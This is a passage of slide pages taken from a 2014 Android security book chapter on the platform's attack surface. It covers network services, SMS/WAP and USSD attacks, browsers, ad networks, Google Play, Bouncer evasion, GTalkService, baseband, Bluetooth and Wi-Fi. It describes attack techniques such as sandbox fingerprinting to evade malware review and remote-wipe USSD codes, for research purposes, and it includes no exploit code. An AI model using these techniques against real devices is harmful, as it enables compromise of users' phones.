how to enable Android Debug Bridge ADB access via TCP /IP . In doing so the device would listen for connections on the network exposing an additional attack surface that would not be present otherwise. Android apps are another way that network services could be exposed. Several apps listen for connections. Examples include those that provide additional access to the device using the Virtual Network Computing VNC Remote Desktop RDP Secure Shell SSH or other protocols.

slide 173:

Chapter 5 ■ Understanding Android’s Attack Surface 141 c05.indd 01:17:1:PM 02/24/2014 Page 141 Enumerating this attack surface can be done in two ways. First research- ers can employ a port scanner such as Nmap to probe the device to see what if anything is listening. Using this method simultaneously tests device and network conf guration. As such the inability to f nd listening services does not mean a service is not listening. Second they can list the listening ports of a test device using shell access. The following shell session excerpt serves as an example of this method: shellmaguro:/ netstat -an | grep LISTEN tcp6 0 0 :::1122 ::: LISTEN shellmaguro:/ The netstat command displays information from the tcp tcp6 udp and udp6 entries in the /proc/net directory. The output shows that something is listening on port 1122. This is the exact port that we told the SSH Server app from ICE COLD APPS to start an SSH server on. Additional network services also appear when the Portable Wi-Fi hotspot feature is enabled. The following shows the output from the netstat command after this feature was activated: shellmaguro:/ netstat -an Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:53 0.0.0.0: LISTEN tcp 0 0 192.168.43.1:53 0.0.0.0: LISTEN udp 0 0 127.0.0.1:53 0.0.0.0: CLOSE udp 0 0 192.168.43.1:53 0.0.0.0: CLOSE udp 0 0 0.0.0.0:67 0.0.0.0: CLOSE shellmaguro:/ The preceding example shows that a DNS server TCP and UDP port 53 and a DHCP server UDP port 67 are exposed to the network. Hosting a hotspot signif cantly increases the attack surface of an Android device. If the hotspot is accessible by untrusted users they could reach these endpoints and more. NOTE Retail devices often contain additional functionality that exposes more net- work services. Samsung’s Kies and Motorola’s DLNA are just two examples introduced by original equipment manufacturer OEM modifi cations to Android. As stated previously network services are often unreachable due to the use of f rewalls and NAT. In the case where an attacker is able to achieve network adjacency to a target Android device these roadblocks go away. Further there are known public methods for circumventing the f rewall-like protections that NAT provides by using protocols like UPnP and NAT-PMP . These protocols can allow attackers to re-expose network services and therefore the attack surfaces they expose.

slide 174:

142 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 142 Mobile Technologies So far we have concentrated on attack surfaces that are common among all Internet-enabled devices. Mobile devices expose an additional remote attack surface through cellular communications. That attack surface is the one exposed through Short Message Service SMS and Multimedia Messaging Service MMS messages. These types of messages are sent from peer to peer using the carri- ers’ cellular networks as transit. Therefore the SMS and MMS attack surfaces usually have no adjacency requirements and usually do not require any inter- action to reach. Several additional attack surfaces can be reached by using SMS and MMS messages as an attack vector. For example MMS messages can contain rich multimedia content. Also other protocols are implemented on top of SMS. Wireless Application Protocol WAP is one such protocol. WAP supports push messaging in addition to quite a few other protocols. Push messages are deliv- ered to a device in an unsolicited manner. One type of request implemented as a WAP Push message is the Service Loading SL request. This request allows the subscriber to cause the handset to request a URL sometimes without any user interaction. This effectively serves as an attack vector that turns a client- side attack surface into a remote one. In 2012 Ravi Borgaonkar demonstrated remote attacks against Samsung’s Android devices at EkoParty in Buenos Aires Argentina. Specif cally he used SL messages to invoke Unstructured Supplementary Service Data USSD facili- ties. USSD is intended to allow the carrier and GSM Global System for Mobile communication device to perform actions like ref lling and checking account balances voice mail notif cations and more. When the device received such an SL message it opened the default browser without user interaction. When the browser loaded it processed Ravi’s page containing several tel:// URLs. These URLs then caused the USSD code to be entered into the phone dialer automati- cally. At the time many devices automatically processed these codes after they were fully entered. Some devices correctly required the user to press the Send button after. A couple of particularly nasty USSD codes present in Samsung’s devices were used to demonstrate the severity of the attack. The f rst code was able to destroy a user’s SIM card by repeatedly attempting to change its Personal Unblocking Key PUK. After ten failures the SIM would be permanently dis- abled requiring the user to obtain a new one. The other code used was one that caused an immediate factory reset of the handset. Neither operation required any user interaction. This serves as an especially impactful example of what is possible through SMS and protocols stacked on top of it. Additional information about exercising the attack surface exposed by SMS is presented in Chapter 11.

slide 175:

Chapter 5 ■ Understanding Android’s Attack Surface 143 c05.indd 01:17:1:PM 02/24/2014 Page 143 Client-side Attack Surface As previously mentioned typical conf gurations on today’s networks mask much of the traditional remote attack surface. Also many client applications are very trusting of servers they communicate with. In response to these facts attackers have largely shifted to targeting issues present in the attack surface presented by client software. Information security professionals call this the client-side attack surface. Reaching these attack surfaces usually depends on potential victims initiating actions such as visiting a website. However some attack techniques can lift this restriction. On-path attackers are able to easily remove this restriction in most cases by injecting their attack into normal traff c. One example is a watering hole attack which targets the users of a previously compromised popular site. Despite being tricky to reach targeting the client-side attack surface allows attackers to set their crosshairs much more precisely. Attacks that use electronic mail vectors for example can be sent specif cally to a target or group of targets. Through source address examination or f ngerprinting on-path attackers can limit to whom they deliver their attack. This is a powerful property of attacking the client-side attack surface. Android devices are primarily designed to consume and present data. Therefore they expose very little direct remote attack surface. Instead the vast majority of the attack surface is exposed through client applications. In fact many client applications on Android initiate actions on the user’s behalf automatically. For instance e-mail and social networking clients routinely poll servers to see if anything new is available. When new items are found they are processed in order to notify the user that they are ready for viewing. This is yet another way that the client-side attack surface is exposed without the need for actual user interaction. The remainder of this section discusses the various attack surfaces exposed by client applications on Android in more detail. Browser Attack Surface The modern web browser represents the most rich client-side application in existence. It supports a plethora of web technologies as well as acts as a gateway to other technologies that an Android device supports. Supported World Wide Web technologies range from simple HTML to wildly complex and rich applica- tions built upon myriad APIs exposed via JavaScript. In addition to rendering and executing application logic browsers often support a range of underlying protocols such as HTTP and FTP . All of these features are implemented by an absolutely tremendous amount of code behind the scenes. Each of these com- ponents which are often embodied by third-party projects represents an attack

slide 176:

144 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 144 surface in its own right. The rest of this section introduces the attack vectors and types of vulnerabilities to which browsers are susceptible and discusses the attack surface within the browser engines commonly available on Android devices. Successful attacks against web browsers can be accomplished several ways. The most common method involves persuading a user to visit a URL that is under the attacker’s control. This method is likely the most popular due to its versatility. An attacker can easily deliver a URL via e-mail social media instant messaging or other means. Another way is by inserting attack code into compromised sites that intended victims will visit. This type of attack is called a “watering hole” or “ drive-by” attack. Attackers in a privileged position such as those that are on-path or logically adjacent can inject attack content at will. These types of attacks are often called Man-in-the-Middle MitM attacks. No matter which vector is used to target the browser the underlying types of vulnerabilities are perhaps more important. Securely processing content from multiple untrusted sources within a single application is challenging. Browsers attempt to segregate content on one site from accessing the content of another site by way of domains. This control mechanism has given rise to several entirely new types of vulnerabilities such as cross-site scripting XSS and cross-site request forgery CSRF or XSRF. Also browsers process and render content from multiple different trust levels. This situation has given birth to cross-zone attacks as well. For example a website should not be able to read arbitrary f les from a victim’s computer system and return them to an attacker. However zone elevation attacks discovered in the past have allowed just that. By no means is this a complete list of the types of vulnerabilities that affect browsers. An exhaustive discussion of such issues is far beyond the scope of this section. Several books including “The Tangled Web” and “The Browser Hacker’s Handbook” focus entirely on web browser attacks and are recommended reading for a more in-depth exploration. Up until Android 4.1 devices shipped with only one browser: the Android Browser based on WebKit. With the release of the 2012 Nexus 7 and the Nexus 4 Google started shipping Chrome for Android based on Chromium as the default browser. For a while the Android browser was still available too. In current versions of vanilla Android Chrome is the only browser presented to the user. However the traditional Android browser engine is still present and is used by apps discussed further in the “Web-Powered Apps” section later in this chapter. In Android 4.4 Google switched from using a pure-WebKit-supplied engine libwebcore.so to using an engine based on Chromium libwebview- chromium.so. The primary difference between Chrome for Android and the two other engines is that the Chrome for Android receives updates via Google Play. The WebKit- and Chromium-based engines which are exposed to apps via the

slide 177:

Chapter 5 ■ Understanding Android’s Attack Surface 145 c05.indd 01:17:1:PM 02/24/2014 Page 145 Android Framework are baked into the f rmware and cannot be updated with- out a f rmware upgrade. This drawback leaves these two engines exposed to publicly disclosed vulnerabilities sometimes for a lengthy period of time. This is the “half-day vulnerability” risk f rst mentioned in Chapter 1. Enumerating attack surfaces within a particular browser engine can be achieved in several ways. Each engine supports a slightly different set of features and thus exposes a slightly different attack surface. Because nearly all input is untrusted almost every browser feature constitutes an attack surface. An excellent starting point is investigating the functionality specif ed by standards documents. For example the HTML and SVG specif cations discuss a variety of features that deserve a closer look. Sites that track which features are implemented in each browser engine are priceless in this process. Also the default browser engines on Android systems are open source. Diving down the browser attack surface rabbit hole by digging into the code is also possible. Deeper attack surfaces lie beneath the various features supported by browsers. Unfortunately enumerating these second-tier attack surfaces is largely a manual process. To simplify matters researchers tend to further classify attack surfaces based on certain traits. For example some attack surfaces can be exercised when JavaScript is disabled whereas others cannot. Some functionality such as Cascading Style Sheets CSS interact in complex ways with other technolo- gies. Another great example is Document Object Model DOM manipulation through JavaScript. Attacker supplied scripts can dynamically modify the structure of the web page during or after load time. All in all the complexity that browsers bring leaves a lot of room for imagination when exploring the attack surfaces within. The remainder of this book looks closer at fuzzing Chapter 6 debugging Chapter 7 and exploiting Chapter 8 and Chapter 9 browsers on Android. Web-Powered Mobile Apps The vast majority of applications written for mobile devices are merely clients for web-based back-end technologies. In the old days developers created their own protocols on top of TCP or UDP to communicate between their clients and servers. These days with the proliferation of standardized protocols libraries and middleware virtually everything uses web-based technologies like web services XML RPC and so on. Why write your own protocol when your mobile application can make use of the existing web services API that your web front end uses Therefore most of the mobile applications for popular web-based services Zipcar Yelp Twitter Dropbox Hulu Groupon Kickstarter and so on use this type of design. Mobile developers often trust that the other side of the system is well behaved. That is clients expect servers to behave and servers expect clients are not malicious.

slide 178:

146 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 146 Unfortunately neither is necessarily the case. There are ways to increase the true level of trust between the client and the server particularly to combat on- path or logically adjacent attackers. However the server can never assume that the client is entirely trusted. Further the client should never assume that the server it is talking to is a legitimate one. Instead it should go to great lengths to authenticate that the server is indeed the correct one. Most of this authentication takes place through the use of SSL or TLS. Techniques like certif cate pinning can even protect against rogue Certif cate Authorities CAs. Because it is entirely up to the mobile application develop- ers to properly utilize these technologies many applications are insuff ciently protected. For example a group of researchers from two German universities released a paper in 2008 entitled “Why Eve and Mallory Love Android: An Analysis of Android SSL InSecurity.” The paper documented the researchers’ f ndings on the state of SSL verif cation in Android apps. Their research found that up to eight percent of all applications on the Google Play market that made use of SSL libraries did so in such a way that easily allowed MitM attacks due to inadequately validated SSL/TLS certif cates. Of course the attack surface exposed by a web-powered mobile app varies from one application to the next. One particularly dangerous example is a common Twitter client. Twitter is a web-based social media platform but many clients exist in the form of Android apps. These apps often use WebViews a building block exposed by the Android Framework to render the rich content that can be included in a tweet. For example most Twitter clients render images inline automatically. This represents a signif cant attack surface. A vulnerability in the underlying image-parsing library could potentially compromise a device. Further users on Twitter often share links to other interesting web content. Curious users who follow the links could be susceptible to traditional browser attacks. Additionally many Twitter clients subscribe to push messages where the server provides new data as it appears or regularly poll ask the server for new data. This design paradigm turns a client-side application into something that could be remotely attacked without any user interaction. Ad Networks Advertising networks are a prominent part of the Android app ecosystem because they are often used by developers of ad-supported free mobile apps. In these apps a developer includes additional code libraries and invokes them to display ads as they deem necessary. Behind the scenes the app developer has an advertiser account and is credited based on various criteria such as the number of ads displayed. This can be quite lucrative for apps that are extremely popular for example Angry Birds so it is no surprise that app developers take this route.

slide 179:

Chapter 5 ■ Understanding Android’s Attack Surface 147 c05.indd 01:17:1:PM 02/24/2014 Page 147 Advertising networks represent an interesting and potentially dangerous piece of the puzzle for several reasons. The functionality that renders advertisements is usually based on an embedded browser engine a WebView. As such traditional browser attacks apply against these apps but typically only via the MitM vec- tors. Unlike traditional browsers these WebViews often expose additional attack surfaces that allow remote compromise using Java-style ref ection attacks. Ad network frameworks are especially terrifying because legitimate advertisers could also potentially take control of devices using these weaknesses. Although these types of attacks are not covered further in this book we recommend that you read up on them by doing an Internet search for the terms “WebView” “addJavascriptInterface” and “ Android Ad Networks.” In addition to the risk of remote code execution advertising frameworks also present a signif cant risk to privacy. Many frameworks have been found to be collecting a plethora of personal information and reporting it back to the adver- tiser. This type of software is commonly referred to as adware and can become a terrible nuisance to the end user. For example an advertising framework that collects the e-mail addresses of a user’s contacts could sell those to spammers who would then bombard those addresses with unsolicited junk e-mails. Although this is not as serious as fully compromising an Android device it should not be taken lightly. Sometimes compromising a user’s location or contacts is all that is necessary to achieve an attacker’s goals. Media and Document Processing Android includes many extremely popular and well vetted open source librar- ies many of which are used to process rich media content. Libraries like libpng and libjpeg are prolif c and used by almost everything that renders PNG and JPEG images respectively. Android is no exception. These libraries represent a signif cant attack surface due to the amount of untrusted data processed by them. As discussed previously in the “Web-Powered Mobile Apps” section Twitter clients often render images automatically. In this situation an attack against one of these components might lead to a remote compromise without user interaction. These libraries are well vetted but that does not mean no issues remain. The past two years have seen the discovery of important issues in both of the aforementioned libraries. Additionally some OEM Android devices ship with document viewing and editing tools. For example the Polaris Off ce application shipped on the Samsung Galaxy S3 was leveraged to achieve remote code execution in the 2012 Mobile Pwn2Own competition. The attack vector used in the competition was Near Field Communication NFC which is discussed in the “NFC” section later in this chapter.

slide 180:

148 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 148 Electronic Mail An electronic mail client is yet another client-side application that has an exposed attack surface. Like the other aforementioned client-side applications electronic mail can be used as a vector to deliver browser attacks. In fact Android e-mail clients are often based on a browser engine with a somewhat limited conf gura- tion. More specif cally e-mail clients do not support JavaScript or other scripted content. That said modern e-mail clients render a subset of rich media such as markup and images inline. Also e-mail messages can contain attachments which have historically been a source of trouble on other platforms. Such attach- ments could for example be used to exploit applications like Polaris Off ce. The code that implements these features is an interesting area for further research and seems to be relatively unexplored. Google Infrastructure Android devices though powerful rely on cloud-based services for much of their functionality. A large portion of the infrastructure behind these services is hosted by Google itself. The functionality provided by these services ranges from contact and e-mail data used by the phone dialer and Gmail to sophisti- cated remote management features. As such these cloud services present an interesting attack surface albeit not one that is usually reachable by a typical attacker. Many of these services are authenticated by Google’s Single Sign On SSO system. Such a system lends itself to abuse because credentials stolen from one application could be used to access another application. This section discusses several relevant back-end infrastructure components and how they can be used to remotely compromise an Android device. Google Play Google’s primary outlet for content including Android applications is Google Play. It allows users to purchase music movies TV shows books magazines apps and even Android-based devices themselves. Most content is download- able and is made available immediately on a chosen device. In early 2011 Google opened a website to access Google Play. In late 2013 Google added a remote device management component called Android Device Manager. The privileged and trusted role that Google Play serves makes it an interesting infrastructure component to consider when thinking about attacking Android devices. In fact

slide 181:

Chapter 5 ■ Understanding Android’s Attack Surface 149 c05.indd 01:17:1:PM 02/24/2014 Page 149 Google Play has been used in several attacks which are covered more in the following sections. Malicious Apps Because much of the content within Google Play comes from untrusted sources it represents another signif cant remote attack surface. Perhaps the best example is an Android app. As is evident by now Android apps contain code that executes directly on an Android device. Therefore installing an application is equivalent to granting arbitrary code execution albeit within Android’s user-level sandbox to the app’s developer. Unfortunately the sheer number of apps available for any given task overwhelms users and makes it very diff cult for them to determine whether they should trust a particular developer. If a user incorrectly assesses trust installing a malicious app could fully compromise her device. Beyond making incorrect trust decisions attackers could also compromise a developer’s Google Play account and replace his application with malicious code. The mali- cious application would then be automatically installed on any device where the current safe version of the app is already installed. This represents a powerful attack that could be devastating to the Android ecosystem if carried out. Other content made available through Google Play might also be able to compromise a device but it’s not entirely clear where this content originates. Without knowing that it’s impossible to determine if there is an attack surface worth investigating. Apart from the Google Play web application itself which is outside the scope of this chapter the Google Play application on an Android device exposes an attack surface. This app must process and render untrusted data that is sup- plied by developers. For example the description of the application is one such source of untrusted data. The underlying code beneath this attack surface is one interesting place to look for bugs. Third-Party App Ecosystems Google allows Android users to install applications outside of Google Play. In this way Android is open to allowing independent third parties to distribute their applications from their company or personal websites. However users must explicitly authorize application installs from third parties by using the workf ow shown in Figure 5-3.

slide 182:

150 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 150 Figure 5-3: Authorize unknown apps workflow The ability to install third-party applications on Android devices has natu- rally led to the creation of third-party application ecosystems which come with their own set of dangers. Perhaps the biggest threat posed by third-party app markets is one that carries over from pirated or cracked software on PCs and Macs: Trojans. Malicious actors will decompile code for a popular trusted app and modify it to do something malicious before posting it to the third-party app market. A 2012 study by Arxan Technologies entitled “State of Security in the App Economy: ‘Mobile Apps Under Attack’” found that 100 percent or all of the applications listed on Google Play’s Top 100 Android Paid App list were hacked modif ed and available for download on third-party distribution sites. The report also provides some insights into the popularity or pervasiveness of these sites mentioning downloads of more than 500000 for some of the more popular paid Android apps. In Android 4.2 Google introduced a feature called Verify Apps. This feature works through the use of f ngerprinting and heuristics. It extracts heuristic data from applications and uses it to query a Google-run database that determines if the application is known malware or has potentially malicious attributes. In this way Verify Apps simulates a simple signature-based blacklisting system similar to that of antivirus systems. Verify Apps can issue warnings to the user or block installation entirely based on the classif cation of attributes from the application. Figure 5-4 shows this feature in action.

slide 183:

Chapter 5 ■ Understanding Android’s Attack Surface 151 c05.indd 01:17:1:PM 02/24/2014 Page 151 Figure 5-4: Verify Apps blocking and warning In early 2013 the Android.Troj.mdk Trojan was found embedded in up to 7 000 cracked Android applications available on third-party application sites. This included some popular games such as Temple Run and Fishing Joy. This Trojan infected up to 1 million Chinese Android devices making them part of one of the biggest botnets known publicly at the time. This dwarfed the previ- ously discovered Rootstrap Android botnet that infected more than 100000 Android devices in China. Obviously third-party app markets pose a clear and present danger to Android devices and should be avoided if possible. In fact whenever possible make sure that the Allow Installations from Unknown Sources setting is disabled. Bouncer In an attempt to deal with malicious applications in Google Play the Android Security Team runs a system called Bouncer. This system runs the applications that developers upload inside a virtual environment to determine whether the app exhibits malicious behavior. For all intents and purposes Bouncer is a dynamic runtime analysis tool. Bouncer is essentially an emulator based on

slide 184:

152 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 152 Quick Emulator QEMU much like the one included in the Android SDK to run Android and execute the app in question. To properly simulate the environment of a real mobile device Bouncer emulates the common runtime environment for an application which means the app can access ■ Address books ■ Photo albums ■ SMS messages ■ Files All of these are populated with dummy data unique to Bouncer’s emulated virtual machine disk image. Bouncer also emulates common peripherals found on mobile devices such as a camera accelerometer GPS and others. Furthermore it allows the application to freely contact the Internet. Charlie Miller and Jon Oberheide used a “reverse shell” application that gave them terminal-level access to Google’s Bouncer infrastructure via HTTP requests. Miller and Oberheide also demonstrated a number of ways that Bouncer can be f ngerprinted by a malicious application. These techniques ranged from identifying the unique dummy data found in Bouncer’s SMS messages address books and photo albums to detecting and uniquely f ngerprinting the QEMU instance unique to the Bouncer virtual machines. These identif cation techniques could then be used by a malicious attacker to avoid executing the malicious functionality of their application while Bouncer was watching. Later the same application executing on a user’s phone could commence its malicious activities. Nicholas Percoco published similar research in his Blackhat 2012 white paper “ Adventures in Bouncerland” but instead of detecting Bouncer’s presence his techniques involved developing an application with functionality that justi- f ed permissions for the download and execution of malicious JavaScript. The application was a web-backed user-conf gurable SMS blocking application. With permissions to access the web and download JavaScript the backend web server ostensibly became a command and control server that fed the application malicious code at runtime. Percoco’s research also demonstrated that relatively minor updates made to a new release of an app can go relatively unnoticed as having malicious content. Even excluding these very interesting techniques for evading Bouncer mali- cious applications still manage to surface on Google Play. There is a burgeoning malware and spyware world for default-conf gured Android devices. Because devices can be conf gured to allow installing apps from third parties the major- ity of malicious applications are found there. Google Phones Home Behind the scenes Android devices connect to Google’s infrastructure through a service called GTalkService. It is implemented using Google’s ProtoBufs

slide 185:

Chapter 5 ■ Understanding Android’s Attack Surface 153 c05.indd 01:17:1:PM 02/24/2014 Page 153 transport and connects a device to many of Google’s back-end services. For example Google Play and Gmail use this service to access data in the cloud. Google made Cloud to Device Messaging C2DM which uses GTalkService available in Android 2.2. In June 2012 Google deprecated C2DM in favor of Google Cloud Messaging GCM. GCM continues to use GTalkService for cloud communications. A more specif c example involves installing applications from the Google Play website as shown in Figure 5-5. Figure 5-5: Installing an application from the web Apart from user-initiated installation one of those most interesting proper- ties of GTalkService is that it allows Google to install and remove applications at its own will. In fact it is possible to do so silently without notifying the end user. In the past Google used this mechanism as an emergency mechanism to remove conf rmed malicious applications from the entire device pool at once. Also it has been used to push applications onto the device as well. In 2013 Google launched an initiative to provide APIs to older devices called Google Play Services. In doing so Google installed a new application on all Android devices to provide this functionality. Although GTalkService represents an interesting attack surface vectors into it require trusted access. This functionality’s connection to the cloud is secured using certif cate-pinned SSL. This limits attacks to those that come from within Google’s own back end. That said leveraging Google’s back end to conduct attacks is not entirely impossible. Unfortunately diving deeper into the attack surface exposed by GTalkService requires signif cant reverse-engineering effort. The components that implement

slide 186:

154 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 154 this part of Android devices are closed source and aren’t part of Android Open Source Project AOSP. Inspecting them requires the use of disassem- blers decompilers and other specialized tools. A good starting point is to reverseengineer the Google Play application or the GTalkService itself. Jon Oberheide demonstrated two separate attacks that utilized GTalkService to compromise devices. The f rst at SummerCon 2010 showed that it was pos- sible to access the authentication token used to maintain the persistent back-end connection via the com.accounts.AccountManager API. Malicious applications could use this to initiate application installs without prompting or reviewing application permissions. More information on this attack is available at https:// jon.oberheide.org/blog/2011/05/28/when-angry-birds-attack-android- edition/. The second attack discussed in detail at https://jon.oberheide .org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/ showed that an XSS vulnerability in the Google Play website allowed attackers to do the same. This time however it was not necessary to install a malicious application. In both cases Oberheide developed proof-of-concept codes to demonstrate the attacks. Oberheide’s f ndings are high-impact and fairly straightforward. Exploring this attack surface further is an interesting area for future work. Physical Adjacency Recall the working def nition of physical adjacency from the “ Adjacency” section earlier in this chapter. Unlike physical attacks which require directly touching the target device physically adjacent attacks require that an attacker is within a certain range of her intended victim. Much of this attack surface involves various types of radio frequency RF communications. However some attack surfaces are not related to RF. This section covers wireless supported communications channels in depth and discusses other attack surfaces that are reachable within certain proximities. Wireless Communications Any given Android device supports a multitude of different radio-based wireless technologies. Almost all devices support Wi-Fi and Bluetooth. Many of those also support Global Positioning System GPS. Devices able to make cellular telephone calls support one or more of the standard cell technologies such as Global System for Mobile communications GSM and Code Division Multiple Access CDMA. Newer Android devices also support Near Field Communication NFC. Each of the supported wireless technologies has specif c frequencies associated with them and thus is only reachable within certain physical proximi- ties. The following sections will dive deeper into each technology and explain

slide 187:

Chapter 5 ■ Understanding Android’s Attack Surface 155 c05.indd 01:17:1:PM 02/24/2014 Page 155 the associated access requirements. Before diving into those details let’s look at concepts that apply to all of these mediums. All wireless communications are susceptible to a wide range of attacks both active and passive. Active attacks require an attacker to interfere with the normal f ow of information and include jamming spoof ng and man-in-the-middle MitM. Because Wi-Fi and cellular networking are used to access the Internet at large MitM attacks against these mediums provide access to an extremely rich attack surface. Passive attacks like sniff ng enable attackers to compromise the information f owing through these mediums. Stolen information is powerful. For example compromising keystrokes authentication credentials f nancial data or otherwise can lead to further and more impactful attacks. GPS GPS which is often referred to as location data in Android allows a device to determine where it is on the planet. It works based on signals from satellites that orbit the planet. The GPS receiver chip receives these signals amplif es them and determines its location based on the result. Most people know GPS because it is often used to enable turn-by-turn navigation. In fact devices designed specif cally for navigation are often called GPS devices. In modern times GPS has become an important tool in travelers’ toolboxes. However having GPS so widely available is not without controversy. Though GPS is a one-way communications mechanism location data is exposed to Android applications through the Android Framework android.location API and Google Play Services Location Services API. Regardless of which API is used many Android applications do not respect end-user privacy and instead monitor the user’s location. Some of the authors of such apps are believed to sell access to the data to unknown third parties. This practice is truly concerning. Under the hood the hardware and software that implements GPS varies from one device to the next. Some devices have a dedicated chip that provides GPS support while others have GPS support integrated into the System-on-Chip SoC. The software that supports the hardware varies accordingly and is usu- ally closed source and proprietary. This fact makes enumerating and digging deeper into the exposed attack surface diff cult time consuming and device specif c. Like any other communications mechanism software that deals with the radio itself represents a direct attack surface. Following the data as it f ows up the software stack additional attack surfaces exist. Because GPS signals emanate from outer space an attacker could theoretically be very far away from his target device. However there are no known attacks that compromise an Android device via the GPS radio. Because Android devices don’t use GPS for security such as authentication the possibilities are limited. The only known attacks that involve location data are spoof ng attacks. These

slide 188:

156 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 156 attacks could mislead a user using turn-by-turn navigation or allow cheating at games that use the location data as part of their logic. Baseband The single part of a smartphone that sets it apart from other devices the most is the ability to communicate with mobile networks. At the lowest level this functionality is provided by a cellular modem. This component often called the baseband processor might be a separate chip or might be part of the SoC. The software that runs on this chip is referred to as the baseband f rmware. It is one of the software components that comprise the Android telephony stack. Attacks against the baseband are attractive because of two things: limited visibility to the end user and access to incoming and outgoing cellular voice and data. As such it represents an attractive attack surface in a smartphone. Although an attack against the baseband is a remote attack an attacker must be within a certain proximity to a victim. In typical deployments the cell modem can be several miles away from the cell tower. Mobile devices will automatically connect to and negotiate with the tower with the strongest signal available. Because of this fact an attacker only needs to be close enough to the victim to appear to be the strongest signal. After the victim associates with the attacker’s tower the attacker can MitM the victim’s traff c or send attack traff c as they desire. This type of attack is called a Rogue Base Station attack and has garnered quite a bit of interest in recent years. Android smartphones support several different mobile communications technologies like GSM CDMA and Long Term Evolution LTE. Each of these are made up of a collection of protocols used to communicate between vari- ous components within a cellular network. To compromise a device the most interesting protocols are those that are spoken by the device itself. Each protocol represents an attack vector and the underlying code that processes it represents an attack surface. Digging deeper into the attack surface exposed by the baseband not only requires intense application of tools like IDA Pro but also requires access to specialized equipment. Because baseband f rmware is typically closed source proprietary and specif c to the baseband processor in use reverse-engineering and auditing this code is challenging. Communicating with the baseband is only possible using sophisticated radio hardware like the Universal Software Radio Peripheral USRP from Ettus Research or BladeRF from Nuand. However the availability of small portable base stations like Femtocells and Picopops could make this task easier. When the hardware requirement has been fulf lled it’s still necessary to implement the necessary protocols to exercise the attack sur- face. The Open Source Mobile Communications Osmocom project as well as

slide 189:

Chapter 5 ■ Understanding Android’s Attack Surface 157 c05.indd 01:17:1:PM 02/24/2014 Page 157 several other projects provides open source implementations for some of the protocols involved. In Android the Radio Interface Layer RIL communicates with the baseband and exposes cellular functionality to rest of the device. More information about RIL is covered in Chapter 11. Bluetooth The Bluetooth wireless technology widely available on Android devices supports quite a bit of functionality and exposes a rich attack surface. It was originally designed as a wireless alternative to serial communications with relatively low range and power consumption. Although most Bluetooth communications are limited to around 32 feet the use of antennae and more powerful transmitters can expand the range up to 328 feet. This makes attacks against Bluetooth the third-longest-range wireless medium for attacking Android devices. Most mobile device users are familiar with Bluetooth due to the popularity of Bluetooth headsets. Many users do not realize that Bluetooth actually includes more than 30 prof les each of which describes a particular capability of a Bluetooth device. For example most Bluetooth headsets use the Hands-Free Prof le HFP and/ or Headset Prof le HSP. These prof les give the connected device control over the device’s speaker microphone and more. Other commonly used prof les include File Transfer Prof le FTP Dial-up Networking Prof le DUN Human Interface Device HID Prof le and Audio/Video Remote Control Prof le AVRCP. Though a full examination of all prof les is outside the scope of this book we recommend you do more research for a full understanding of the extent of the attack surface exposed by Bluetooth. Much of the functionality of the various Bluetooth prof les requires going through the pairing process. Usually the process involves entering a numeric code on both devices to conf rm that they are indeed talking to each other. Some devices have hard-coded codes and therefore are easier to attack. After a pairing is created it’s possible to hijack the session and abuse it. Possible attacks include Bluejacking Bluesnarf ng and Bluebugging. In addition to being able to pair with hands-free devices Android devices can be paired with one another to enable transferring contacts f les and more. The designed functionality provided by Bluetooth is extensive and provides access to nearly everything that an attacker might want. Many feasible attacks exploit weaknesses in pairing and encryp- tion that is part of the Bluetooth specif cation. As such Bluetooth represents a rather rich and complicated attack surface to explore further. On Android devices the attack surface exposed by Bluetooth starts in the kernel. There drivers interface with the hardware and implement several of the low-level protocols involved in the various Bluetooth prof les like Logical Link

slide 190:

158 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 158 Control and Adaptation Protocol L2CAP and Radio Frequency Communications RFCOMM. The kernel drivers expose additional functionality to the Android operating system through various Inter Process Communication IPC mecha- nisms. Android used the Bluez user-space Bluetooth stack until Android 4.2 when Google switched to Bluedroid. Next code within the Android Framework implements the high-level API exposed to Android apps. Each component rep- resents a part of the overall attack surface. More information about the Bluetooth subsystem in Android is available at https://source.android.com/devices/ bluetooth.html. Wi-Fi Nearly all Android devices support Wi-Fi in its most basic form. As newer devices have been created they have kept up with the Wi-Fi standards fairly well. At the time of this writing the most widely supported standards are 802.11g and 802.11n. Only a few devices support 802.11ac. Wi-Fi is primarily used to connect to LANs which in turn provide Internet access. It can also be used to connect directly to other computer systems using Ad-Hoc or Wi-Fi Direct features. The maximum range of a typical Wi-Fi network is about 120 feet but can easily be extended through the use of repeaters or directional antennae. It’s important to note that a full examination of Wi-Fi is beyond the scope of this book. Other published books including “Hacking Exposed Wireless” cover Wi-Fi in more detail and are recommended if you are interested. This section attempts to brief y introduce security concepts in Wi-Fi and explain how they contribute to the attack surface of an Android device. Wi-Fi networks can be conf gured without authentication or using several dif- ferent authentication mechanisms of varying strength. Open networks or those without authentication can be monitored wirelessly using completely passive means without connecting. Authenticated networks use various encryption algorithms to secure the wireless communications and thus monitoring without connecting or at least having the key becomes more diff cult. The three most popular authentication mechanisms are Wired Equivalent Privacy WEP Wi-Fi Protected Access WP A and WP A2. WEP is broken relatively easily and should be considered roughly equivalent to no protection at all. WPA was created to address these weaknesses and WPA2 was created to further harden Wi-Fi authentication and encryption. The Wi-Fi stack on Android is much like the Bluetooth stack. In fact some devices include a single chip that implements both technologies. Like Bluetooth the source code for the Wi-Fi stack is open source. It begins with kernel drivers

slide 191:

